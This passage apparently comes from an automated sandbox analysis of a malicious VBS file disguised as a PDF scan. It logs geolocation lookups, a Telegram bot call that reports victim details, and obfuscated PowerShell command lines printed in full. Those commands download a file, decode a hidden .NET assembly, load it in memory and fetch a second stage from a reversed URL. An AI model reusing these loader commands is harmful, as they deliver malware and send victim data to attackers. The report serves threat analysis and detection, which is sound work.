2024-11-12 07:06:29 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49858	188.114.97.3	443	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:06:31 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-12 07:06:31 UTC	846	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:31 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 16414 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=67SNAUfeS2MXJPPfHPYpwGzWfbJiErkq9YZAFDfRI4dqnpnL%2FRa70ZqbnV6LhoYnSanG6SASLNNtql8ZNHo4AINiXgMWeiLwtatwNREd7IuGaSEgmdZltEZdxXef54GGEr9tRgV0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e14ae08c8722cd9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1191&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=2383539&cwnd=248&unsent_bytes=0&cid=9adbfe20323919db&ts=147&x=0"
2024-11-12 07:06:31 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49873	188.114.97.3	443	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:06:34 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-12 07:06:34 UTC	854	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:34 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 16417 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ihJgsRcrMd%2BaMX5ms0AGEN5jEr3QfUhzgOCkFXMqmYDSfs5feVO4ffNBDVNsG5wVma6xpJuoqQBKqaDP2eyQML8Tmh7Bj%2FVd%2FeQgoSzEZndPAW9tuJsei4obOxeMyx%2FOB%2BtW3tao"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e14ae1b0af16c7c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1751&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1672055&cwnd=247&unsent_bytes=0&cid=39871fa43426fb43&ts=152&x=0"
2024-11-12 07:06:34 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49887	188.114.97.3	443	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:06:36 UTC	63	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-12 07:06:36 UTC	858	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:36 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 16419 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fp6JzV%2BacBf9G%2FuXhSaJouxG8IhHb%2BCa3Mq5jVLxtJKG1ZqrYqSlIzkeeCxcoip3VnbRuZMNGDAJEcTd3IfzPkl%2Bxr9%2BsjKMGW8cWcu4tQKFq2fsnVa5N5Rtrd5ABH%2Fza1AuZrbU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e14ae278a392cc7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1828&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=1525816&cwnd=251&unsent_bytes=0&cid=715f6d5c631ed820&ts=161&x=0"
2024-11-12 07:06:36 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49897	188.114.97.3	443	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:06:38 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-12 07:06:38 UTC	848	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:38 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 16421 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pnJsLsbZcq8SZd8rQcLMDXh8TzOvX0OXkqRs9ZgExFQisWkC5k3RAskRAcMvHq1IFTXLXyCcdGrEYLUzFv56CAa3E6rrDKKgsPEq%2F5anHcIRYEuHJ%2FzVAn5Fj09X7C8rpQP9fn99"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e14ae344ed4e936-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1374&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2092485&cwnd=251&unsent_bytes=0&cid=9fd7a7c7d286473f&ts=143&x=0"
2024-11-12 07:06:38 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49914	188.114.97.3	443	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:06:40 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-12 07:06:40 UTC	850	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:40 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 16423 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r132VgH%2B3kVX75z65trk69xyEWm5WMJqHcfrYcGCVhLUp3GnXpy%2FkxTPuVD5plyu21reKr4V9Rf5cprPw5tA31%2BE3DYCPq0mOj0HQ94oC9IeNpBmAiFRZCOMeVtxIRJbfKiT5pQf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e14ae448c453584-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1093&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2533683&cwnd=250&unsent_bytes=0&cid=c87e4910089012ad&ts=148&x=0"
2024-11-12 07:06:40 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49926	188.114.97.3	443	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:06:42 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-12 07:06:42 UTC	856	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:42 GMT Content-Type: text/xml Content-Length: 359 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 16425 Last-Modified: Tue, 12 Nov 2024 02:32:57 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DHyaCkr8J0ZM0pD6hzkSvkoiU9dTUOjB2S6YPA3jhmGDbjvbT6pIduBzTfkt%2FpHyZkzWCz0%2F7hbr%2BQ%2B1%2FErCFrXW2y6z8RvwznhUO%2BfqEqb0Yl9dybFDYfcqCJpVWNAjc2WSBpem"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e14ae4edff86c3a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1198&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2285714&cwnd=251&unsent_bytes=0&cid=31cf58e33437768f&ts=145&x=0"
2024-11-12 07:06:42 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49932	149.154.167.220	443	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:06:43 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:936905%0D%0ADate%20and%20Time:%2012/11/2024%20/%2022:16:40%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20936905%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-12 07:06:43 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 12 Nov 2024 07:06:43 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-12 07:06:43 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	2
Start time:	02:05:51
Start date:	12/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Scan12112024,pdf.vbs"
Imagebase:	0x7ff67b480000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:05:51
Start date:	12/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs"
Imagebase:	0x7ff67b480000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:05:55
Start date:	12/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0xea0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:05:55
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:05:56
Start date:	12/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) \| . ( $pShoMe[4]+$PshoME[34]+'X')"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:59:11
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
